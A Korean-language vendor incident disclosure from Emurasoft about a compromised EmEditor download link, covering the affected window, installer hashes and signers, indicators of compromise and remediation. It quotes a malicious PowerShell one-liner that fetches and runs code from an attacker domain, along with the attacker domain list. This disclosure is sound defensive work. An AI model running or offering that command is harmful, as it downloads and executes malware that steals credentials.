Tag Archive for: 사고

You are here: / / 사고

Posts

[중요] 후속 안내: EmEditor 설치 관리자 다운로드 링크 관련 보안 사고 공지

/in /by

앞서 공지드린 “[중요] EmEditor 설치 관리자 다운로드 링크 관련 보안 사고 공지”(www.emeditor.com)에 이어, 추가 조사로 확인된 사항과 이전 공지를 보완하는 추가 정보를 공유드립니다.

이번 사고로 인해 심각한 우려와 불편을 끼쳐 드린 점, 다시 한 번 진심으로 사과드립니다.

1. 잠재적 영향 기간(미국 태평양 시간 / UTC)

이전 공지에서는 미국 태평양 시간 기준으로 기간을 안내드렸습니다. 참고를 위해 협정 세계시(UTC)도 함께 표기합니다.

  • 2025년 12월 19일 18:39 – 2025년 12월 22일 12:50 (미국 태평양 시간)
  • 2025-12-20 02:39 – 2025-12-22 20:50 (UTC)

위 기간 동안 EmEditor 웹사이트의 다운로드 경로(예: “Download Now” 버튼)를 통해 설치 관리자를 다운로드하신 경우, 당사(Emurasoft, Inc.)가 제공한 정식 설치 관리자가 아닌 파일을 다운로드했을 가능성이 있습니다.

위 기간은 만일의 경우를 대비해 의도적으로 넓게 잡아 안내드린 것입니다. 실제 영향 시간은 더 짧았으며 특정 시점에 한정되었을 수 있습니다.

2. 의심 파일에 대하여(확인된 차이점)

emed64_25.4.3.msi 파일과 관련해, 최소 2개의 의심 파일이 존재함을 확인했습니다.

또한 두 의심 파일 모두 Microsoft 발급 디지털 서명으로 서명되어 있음을 확인했습니다. 유효 기간이 매우 짧았(수일)기 때문에, 개발자 대상 발급과 유사한 방식으로 인증서가 발급되었을 가능성이 높다고 판단하고 있습니다.

당사는 Microsoft에 본 사고를 보고하고 의심 파일을 제공했으며, 관련 서명의 폐기(Revocation)를 요청했습니다. 현재 두 서명 모두 폐기되었음을 확인했습니다. 이에 따라 MSI 실행 시 서명이 유효하지 않다는 경고가 표시되어 설치가 어려워질 것입니다.

정상 파일(EmEditor 공식 설치 관리자)

  • 파일명: emed64_25.4.3.msi
  • 크기: 80,376,832 bytes
  • 디지털 서명 — 주체(Subject): Emurasoft, Inc.
  • 디지털 서명 — 발급자(Issuer): Sectigo Public Code Signing CA R36
  • 디지털 서명 — 유효 기간: 2023-04-09 ~ 2026-04-09
  • SHA-256: e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e
  • VirusTotal: https://www.virustotal.com/gui/file/e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e
  • 공식 배포 원본: https://download.emeditor.info/emed64_25.4.3.msi

문제 파일 #1

  • 파일명: emed64_25.4.3.msi
  • 크기: 80,380,416 bytes
  • 디지털 서명 — 주체(Subject): WALSHAM INVESTMENTS LIMITED
  • 디지털 서명 — 발급자(Issuer): Microsoft ID Verified CS EOC CA 02
  • 디지털 서명 — 유효 기간: 2025-12-21 ~ 2025-12-24
  • SHA-256: 4bea333d3d2f2a32018cd6afe742c3b25bfcc6bfe8963179dad3940305b13c98
  • VirusTotal: https://www.virustotal.com/gui/file/4bea333d3d2f2a32018cd6afe742c3b25bfcc6bfe8963179dad3940305b13c98

문제 파일 #2

  • 파일명: emed64_25.4.3.msi
  • 크기: 80,380,416 bytes
  • 디지털 서명 — 주체(Subject): WALSHAM INVESTMENTS LIMITED
  • 디지털 서명 — 발급자(Issuer): Microsoft ID Verified CS EOC CA 01
  • 디지털 서명 — 유효 기간: 2025-12-20 ~ 2025-12-23
  • SHA-256: 3d1763b037e66bbde222125a21b23fc24abd76ebab40589748ac69e2f37c27fc
  • VirusTotal: https://www.virustotal.com/gui/file/3d1763b037e66bbde222125a21b23fc24abd76ebab40589748ac69e2f37c27fc

3. 이미 다운로드한 파일을 삭제한 경우

다운로드한 파일(emed64_25.4.3.msi)이 아직 남아 있다면, (이전에 공지드린 대로) 디지털 서명 및/또는 SHA-256 확인으로 검증할 수 있습니다.

이미 파일을 삭제하셨더라도, Windows가 설치 과정에서 사용된 MSI의 사본을 C:\Windows\Installer 아래에 다른 이름으로 보관하고 있을 수 있습니다.

이 폴더는 숨김 및 OS 보호 대상이므로, 파일 탐색기에서 일반적으로 찾기 어렵습니다. 다음을 직접 입력하여 열어주시기 바랍니다: C:\Windows\Installer.

폴더를 연 뒤 아래 절차를 권장합니다. MSI 파일을 더블클릭하거나 실행하지 않도록 각별히 주의해 주세요.

  1. 날짜 기준 정렬(예: “수정한 날짜”)
  2. 최근 파일 위주로 확인
  3. 대상 파일의 디지털 서명 확인(우클릭 → 속성 → 디지털 서명)

4. 컴퓨터 감염 가능성 확인 방법

의심 파일이 실행되었더라도, 아래와 같은 환경에서는 감염이 반드시 발생한다고 단정할 수 없습니다.

  • 장치가 오프라인 상태였다
  • VPN/프록시가 필요했다
  • Windows 기능 또는 정책에 의해 의심스러운 PowerShell 동작이 차단되었다
  • PowerShell 실행이 제한되어 있었다
  • 백신/보안 소프트웨어가 활동을 차단했다

그러나 아래 항목 중 하나라도 해당하면 감염 가능성이 매우 높아집니다.

  • C:\ProgramData\tmp_mojo.log 존재
  • 예약 작업(스케줄 작업) 중 Google Drive Caching 이라는 이름이 존재
  • %LOCALAPPDATA%\Google Drive Caching\에 background.vbs 존재
  • Chrome/Microsoft Edge 등 Chromium 기반 브라우저에 Google Drive Caching 라는 확장 프로그램이 존재(Google 제작이라고 표시하더라도) — 특히 “모든 웹사이트의 데이터를 읽고 변경” 권한 및 클립보드 접근 권한이 있는 경우
  • 네트워크 로그에서 아래 도메인 중 하나로의 연결이 확인됨:
  • cachingdrive.com
  • emeditorde.com
  • emeditorgb.com
  • emeditorjp.com
  • emeditorsb.com

위 항목이 모두 해당하지 않으면 위험도는 낮지만, 공격의 일부는 메모리에서 실행되어 파일 기반 흔적을 거의 남기지 않을 수 있으므로 위험이 0은 아닙니다.

5. 확인된 동작(대상 도메인 등)

이전에 공지드린 바와 같이, 의심 설치 관리자는 실행 시 외부 도메인에서 추가 파일을 다운로드하여 실행하는 동작이 확인되었습니다.

이전에는 emeditorjp.com으로의 접근을 확인했으며, 이후 조사에서 emeditorde.com, emeditorgb.com, emeditorsb.com으로의 추가 접근도 확인했습니다.

이 4개 도메인(emeditorjp.com, emeditorde.com, emeditorgb.com, emeditorsb.com)은 모두 당사(Emurasoft, Inc.)가 운영하는 것이 아닙니다.

또한 이전 공지에서 설명한 PowerShell 명령이 외부 도메인에서 파일을 다운로드/실행한다는 점과, 그 결과 악성코드 감염 및 비밀번호 등 개인 정보 탈취로 이어질 수 있음을 확인했습니다.

추가 상세 내용은 Luca Palermo 씨와 Mario Ciccarelli 씨가 작성한 분석 보고서를 참고해 주시기 바랍니다. Palermo 씨는 해당 보고서를 당사에 제공하고 공개 게시를 허가해 주셨으며, 이에 협조해 주신 두 분께 진심으로 감사드립니다.

  • [악성코드 분석 보고서 – Luca Palermo, Mario Ciccarelli의 다단계 인포스틸러]()

6. 왜 “식별하기 어려웠는가”

기본적으로 도메인과 디지털 서명은 특정 조건 하에서 제3자가 취득할 수 있습니다.

  • 도메인은 미사용이거나 갱신되지 않으면 비교적 저렴하게 구매되는 경우가 많습니다.
  • 코드 서명 인증서는(이번 경우 발급자는 Microsoft) 여러 인증 기관에서 일반적으로 발급받을 수 있습니다.
  • 문제가 발견되면 가능한 주요 대응은 발급자/인증 기관에 연락하여 폐기를 요청하는 것입니다.

기술적으로 MSI 설치 관리자는 사용자 지정 동작(Custom Actions)을 통해 임의의 스크립트(예: PowerShell 포함)를 포함할 수 있습니다. 공격자는 충분한 지식을 바탕으로, 널리 배포되는 정상 설치 관리자와 매우 유사한 설치 관리자에 악성 로더를 주입할 수 있습니다.

설치 관리자가 MSI가 아니라 EXE였다 하더라도 유사한 공격은 가능합니다.

안타깝게도 이는 정상 설치 관리자를 정교하게 모방한 악성 설치 관리자가 생성·유포되는 것을 소프트웨어 회사가 완전히 방지하기 어렵다는 뜻입니다. 향후에도 유사한 수준의 정교한 다단계 악성 설치 관리자가 다시 나타날 수 있다고 가정해야 합니다.

다만, 이번 사고의 핵심 문제는 다음 두 가지로 요약된다고 판단합니다.

  1. 당사 웹사이트에서 사용하던 편리한 리다이렉트(다운로드 경로) 가 탐지되지 않은 채 변경됨
  2. 외부에 의해 당사 웹사이트에 악성 설치 관리자가 업로드됨

이 두 가지가 동시에 발생했기 때문에, 고객이 당사 공식 웹사이트에서 다운로드한 후 피해를 입게 된 점에 대해 당사는 전적인 책임을 통감하며, 향후 예방 대책에 반영하겠습니다.

6-1. EmEditor 웹사이트에 업로드된 악성 파일

악성 설치 관리자 emed64_25.4.3.msi 외에도, 플러그인 디렉터리 아래에서 base64.php라는 파일을 발견했습니다. base64.php를 분석한 결과 전형적인 백도어(원격 코드 실행/RCE)로 판단했습니다.

또한 footer.php(WordPress 테마 디렉터리 내)에 스크립트가 추가된 것도 확인했습니다. 이 스크립트는 아래의 정상 URL로 향해야 하는 클릭을 가로채:

  • https://support.emeditor.com/ja/downloads/latest/installer/64

아래로 리다이렉트했습니다:

  • https://www.emeditor.com/wp-content/uploads/filebase/emeditor-core/emed64_25.4.3.msi

그 결과 홈페이지의 “Download Now” 버튼을 클릭하면 악성 파일이 다운로드될 수 있었습니다.

더 악의적인 점은, 이 스크립트가 로그인하지 않은 방문자에게만 동작하도록 구성되어 있었던 것입니다. 이로 인해 관리자 측에서 재현 및 탐지가 어려웠고, 당사에서 직접 사이트를 확인했을 때도 리다이렉트 변경을 즉시 알아채지 못했습니다.

7. 원인(현재 평가)

현재도 조사를 진행 중이며 최종 결론에는 이르지 못했습니다. 다만 아래 가능성을 검토하고 있습니다.

WordPress는 코어, 플러그인, 테마 등 여러 구성 요소로 이루어져 있으며, 다양한 개발자가 이를 유지·관리합니다. 이 구성 요소들에서는 취약점이 정기적으로 발견되고 시간이 지나며 업데이트가 배포됩니다.

당사는 플러그인과 테마를 정기적으로 업데이트하고 있으나, 경우에 따라 취약점이 장기간 패치되지 않은 채 남아 있을 수 있습니다. 공격이 이러한 취약점을 악용했을 가능성이 있습니다.

또한 사용 중인 SFTP 계정이 공격 대상이 되었을 가능성도 있습니다.

8. 당사의 대응(완료/예정)

당사는 즉시 악성 파일 emed64_25.4.3.msi를 삭제했습니다. 또한 파일 변경 로그를 검토하여 base64.php의 추가 및 footer.php 변경을 확인했습니다. base64.php를 백도어로 식별한 뒤 사이트 전체를 스캔했습니다.

이후 웹사이트를 재구축하고, 모든 플러그인을 재설치했으며 불필요한 플러그인을 제거했습니다. 또한 내부 PC를 스캔하고, 모든 WordPress 사이트 및 관련 서비스의 로그인 비밀번호를 변경했습니다. 로그를 확인하여 사용 중인 여러 서비스에 대한 감사(Audit)도 수행했습니다.

추가로 “Download Now”와 같은 다운로드 버튼에 리다이렉트를 사용하지 않도록 변경하고, 검증된 안전 파일로의 직접 링크로 교체했습니다. 또한 다운로드 페이지에 MSI의 SHA-256을 명확히 표시하고, 사용자가 디지털 서명 검증을 하도록 권장하는 안내를 추가했습니다.

EmEditor 홈페이지의 다운로드 경로를 더욱 강화하기 위해, 가까운 시일 내 WordPress 대신 커스텀/정적(static) 웹사이트로 이전하는 방안도 검토 중입니다.

9. 맺음말

위에서 설명한 것처럼, 변조된 설치 관리자는 실행 시 매우 위험한 동작을 수행할 수 있습니다. 동시에, 제3자가 정상 설치 관리자를 모방한 악성 설치 관리자를 만들어 배포하는 것 자체를 근본적으로 막는 것은 어렵습니다.

따라서 당사의 최우선 과제는, 주요 배포 채널인 당사 웹사이트를 통해 누구도 악성코드를 획득하지 못하도록 하는 것입니다.

이번 사고를 통해 Xoops, WordPress와 같은 대중적 CMS가 편리한 반면, 확장성이 취약점 노출을 증가시킬 수 있고, 플러그인/테마를 최신으로 유지하는 것만으로는 위험이 완전히 제거되지 않는다는 점을 다시 한 번 깨달았습니다.

다행히 Emurasoft 고객 센터(Customer Center)는 침해되지 않았고 데이터베이스도 안전하게 유지되었습니다. 고객 데이터베이스에 누군가 접근했다는 증거는 확인되지 않았습니다.

이번 사고를 통해 얻은 정보가 다른 소프트웨어 회사에도 도움이 되길 바라며, 간단한 보고로 제한하지 않고 가능한 한 많은 세부 사항과 맥락을 포함했습니다.

다시 한 번 이번 사고로 우려와 불편을 끼쳐 드린 점 깊이 사과드리며, 특히 감염 관련 피해를 입으신 분들께 진심으로 사과드립니다.

EmEditor를 계속 성원해 주셔서 감사합니다.

[중요] EmEditor 설치 프로그램 다운로드 링크 관련 보안 사고 안내

/in /by

EmEditor를 이용해 주셔서 감사합니다.

EmEditor 공식 웹사이트의 다운로드 경로( [Download Now] 버튼)에서 제3자에 의한 무단 변경이 의심되는 사고를 확인하였습니다. 영향 기간 동안 해당 버튼을 통해 다운로드된 설치 프로그램은 당사(Emurasoft, Inc.)가 제공한 정식 파일이 아닐 가능성이 있습니다.

이로 인해 심려와 불편을 끼쳐 드린 점 진심으로 사과드립니다. 아래 내용을 확인해 주시기 바랍니다.

1. 잠재적 영향 기간

  • 2025년 12월 19일 18:39 – 2025년 12월 22일 12:50 (미국 태평양 표준시)

이 기간에 EmEditor 홈페이지의 [Download Now] 버튼으로 설치 프로그램을 다운로드하셨다면, 당사의 디지털 서명이 없는 다른 파일이 다운로드되었을 가능성이 있습니다. 이는 보수적으로 산정한 기간이며, 실제 영향 범위는 더 좁고 특정 시간대에 한정되었을 수 있습니다.

2. 사고 개요(상위 수준 원인)

[Download Now] 버튼은 정상적으로 아래 URL을 가리킵니다.

  • https://support.emeditor.com/en/downloads/latest/installer/64

이 URL은 리다이렉트를 사용합니다. 그러나 영향 기간 동안 리다이렉트 설정이 제3자에 의해 변경된 것으로 보이며, 그 결과 아래의 (잘못된) URL에서 다운로드가 제공되었습니다.

  • https://www.emeditor.com/wp-content/uploads/filebase/emeditor-core/emed64_25.4.3.msi

이 파일은 Emurasoft, Inc.에서 생성한 것이 아니며, 이미 삭제 조치되었습니다.

그 결과, 다운로드된 파일이 당사가 아닌 WALSHAM INVESTMENTS LIMITED라는 다른 조직에 의해 디지털 서명되었을 가능성을 확인했습니다.

참고: 본 문제는 영어 페이지에만 국한되지 않을 수 있으며, (일본어를 포함한) 다른 언어의 유사한 URL에도 영향을 미쳤을 가능성이 있습니다.

3. 잠재적으로 영향을 받았을 수 있는 것으로 확인된 파일

현재 관련된 것으로 확인된 파일은 다음 1개뿐입니다.

  • emed64_25.4.3.msi

정상 파일(공식)

  • 파일명: emed64_25.4.3.msi
  • 크기: 80,376,832 bytes
  • 디지털 서명: Emurasoft, Inc.
  • SHA-256: e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e

의심 파일(변조 가능)

  • 파일명: emed64_25.4.3.msi
  • 크기: 80,380,416 bytes
  • 디지털 서명: WALSHAM INVESTMENTS LIMITED

4. 영향 없음(해당 시)

아래 항목 중 하나라도 해당하면 영향을 받지 않습니다.

  • EmEditor의 업데이트 확인(Update Checker) 또는 자동 업데이트로 업데이트한 경우
  • download.emeditor.info에서 직접 다운로드한 경우
    예: https://download.emeditor.info/emed64_25.4.3.msi
  • emed64_25.4.3.msi 이외의 파일을 다운로드한 경우
  • 포터블 버전을 사용한 경우
  • 스토어 앱 버전을 사용한 경우
  • winget으로 설치/업데이트한 경우
  • 파일을 다운로드했지만 실행(설치)하지 않은 경우

5. 확인 방법 및 조치 안내

영향 기간에 [Download Now]를 통해 설치 프로그램을 다운로드했을 가능성이 있다면, emed64_25.4.3.msi 파일의 디지털 서명과 SHA-256 해시를 확인해 주십시오.

5-1. 디지털 서명 확인 방법(Windows)

  1. 파일(emed64_25.4.3.msi)을 마우스 오른쪽 버튼으로 클릭하고 속성을 선택합니다.
  2. 디지털 서명 탭을 엽니다.
  3. 서명자가 Emurasoft, Inc.인지 확인합니다.
  • WALSHAM INVESTMENTS LIMITED로 표시되면 악성 파일일 가능성이 있습니다.

“디지털 서명” 탭이 보이지 않는 경우, 서명이 없거나 서명이 인식되지 않는 상태일 수 있습니다. 이 경우 파일을 실행하지 말고 삭제한 뒤 아래 안내를 따라 주십시오.

5-2. SHA-256 확인 방법(Windows / PowerShell)

PowerShell을 열고 다음을 실행합니다.

Get-FileHash .\emed64_25.4.3.msi -Algorithm SHA256

출력된 SHA-256이 아래 값과 일치하는지 확인합니다.

  • 정상 SHA-256: e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e

서명 또는 SHA-256이 일치하지 않는 경우(권장 조치)

디지털 서명이 Emurasoft, Inc.가 아니거나(예: WALSHAM INVESTMENTS LIMITED) SHA-256이 일치하지 않으면, 변조된 파일(악성코드 포함 가능)을 받았을 수 있습니다.

  • 즉시 해당 PC를 네트워크(유선/무선)에서 분리
  • 시스템에 대해 전체 악성코드 검사 실행
  • 상황에 따라 OS를 포함한 환경 재구축/초기화 검토
  • 자격 증명 유출 가능성을 고려하여, 해당 기기에서 사용/저장한 비밀번호 변경(가능하면 MFA 활성화)

조직에서 EmEditor를 사용 중이라면, 내부 보안 담당 조직(예: CSIRT)에 연락하고 가능한 범위에서 관련 로그를 보존할 것도 권장합니다.

6. 확인된 동작(현재까지 확인된 내용)

의심 설치 프로그램은 실행 시 아래 명령을 시도할 수 있습니다. 어떠한 경우에도 이 명령을 실행하지 마십시오.

  • powershell.exe "irm emeditorjp.com | iex"

이 명령은 emeditorjp.com에서 콘텐츠를 다운로드하여 실행합니다.
emeditorjp.com은 Emurasoft, Inc.가 관리하는 도메인이 아닙니다.

또한 해당 설치 프로그램이 정상적으로 EmEditor 설치를 계속 진행하고, 정식 EmEditor 프로그램 파일을 설치할 수도 있어 문제를 알아차리기 어려울 수 있습니다.

7. 현재 상태 및 향후 업데이트

현재 사실 관계를 계속 조사 중이며, 영향 범위 전체를 파악하고 있습니다. 추가 정보가 확인되는 대로 본 페이지 및/또는 공식 채널을 통해 신속히 안내드리겠습니다.
당사는 본 사고를 매우 엄중하게 받아들이고 있으며, 원인 규명과 재발 방지를 위해 필요한 조치를 시행하겠습니다.

다시 한 번 심려와 불편을 끼쳐 드린 점 진심으로 사과드리며, 양해와 EmEditor에 대한 지속적인 성원에 감사드립니다.